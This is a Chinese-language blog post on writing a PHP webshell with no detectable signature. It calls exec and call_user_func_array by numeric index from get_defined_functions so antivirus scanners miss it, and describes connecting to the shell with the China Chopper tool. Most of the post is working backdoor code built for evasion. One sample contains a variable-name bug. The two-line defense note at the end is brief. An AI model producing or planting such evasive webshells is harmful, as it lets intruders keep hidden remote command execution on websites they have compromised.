PHP无特征webshell

PHP无特征webshell

  • webshell就是将php、asp代码以网页的形式,编写成命令、代码执行的环境,可用于作为网站后门。webshell形式可谓是千变万化,但是总会存在一些文件和代码特征,从而可能被杀毒软件查杀,但是我们如何能做到无文件、无特征,来规避杀毒软件的查杀和检测呢?

常见php代码种可执行命令函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()、
文件操作函数(file_put_contents()、fputs())、动态函数($a($b))

无特征webshell

原理:这里使用get_defined_functions函数遍历所有函数,然后将特定函数放在call_user_func_array函数中,来执行系统命令。

<?php
function testfunc(){
	$func = get_defined_functions();	//遍历所有函数,返回一个二维数组的函数(包括所有已定义的函数,内置的或者用户定义的函数)列表
	$args = func_get_args();	//接收传入的参数值
	$func_id = array_shift($args);	//获取传入的函数所代表的list的key
	$func_name = $func['internal'][$func_id];	//根据internal方法来访问系统内置函数,通过key来索引函数名
	$tmp = 0;
	//print_r($func);
	if($conf_name == "exec"){	//判断获取的函数
		print_r(call_user_func_array($func_name, $args)); //调用回调函数($func_name),并把一个数组参数(得是索引数组)作为回调函数的参数。
		$tmp = 1;
	}
	return $tmp;
}
for ($x=0; $x<=50000; $x++){
	$tmp = testfunc($x, "whoami");	//调用函数
	if($tmp == 1){	//退出
		break;
	}
}
?>

执行结果:

  • 通过上面代码原理分析,我们可以看到这里是通过get_defined_functions遍历函数,从而调用exec等命令执行或代码执行函数的。

编写无特征webshell

注意:

  • 这里的797、549、456,就表示通过list key,去索引函数名。
<?php
$arr = get_defined_functions();
print_r($arr);
?>


  • 执行结果(当前只是执行系统命令)
	<?php
	function f(){
		$f = get_defined_functions()['internal'];	//遍历所有函数,内置函数可以通过$arr['internal']进行访问
		$a = func_get_args();	//接收传来的参数
		$t = $f[797]($a);	//797===>array_shift
		$c = $f[$t];
		return $f[549]($c, $a);	//549===>call_user_func_array
	
	}
	print_r(f(456,'whoami'));	//456===>exec
	?>

在这里插入图片描述

使用菜刀进行管理

  • 添加变量接收请求

在这里插入图片描述

  • 执行任意代码

在这里插入图片描述

  • 菜刀连接

在这里插入图片描述

防御方式:

  • 1.建议对网站使用WebShell扫描查杀工具进行查杀,例如D盾、WebShellkiller。
  • 2.对用户可控网站目录可读可写可执行权限进行严格限制。
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值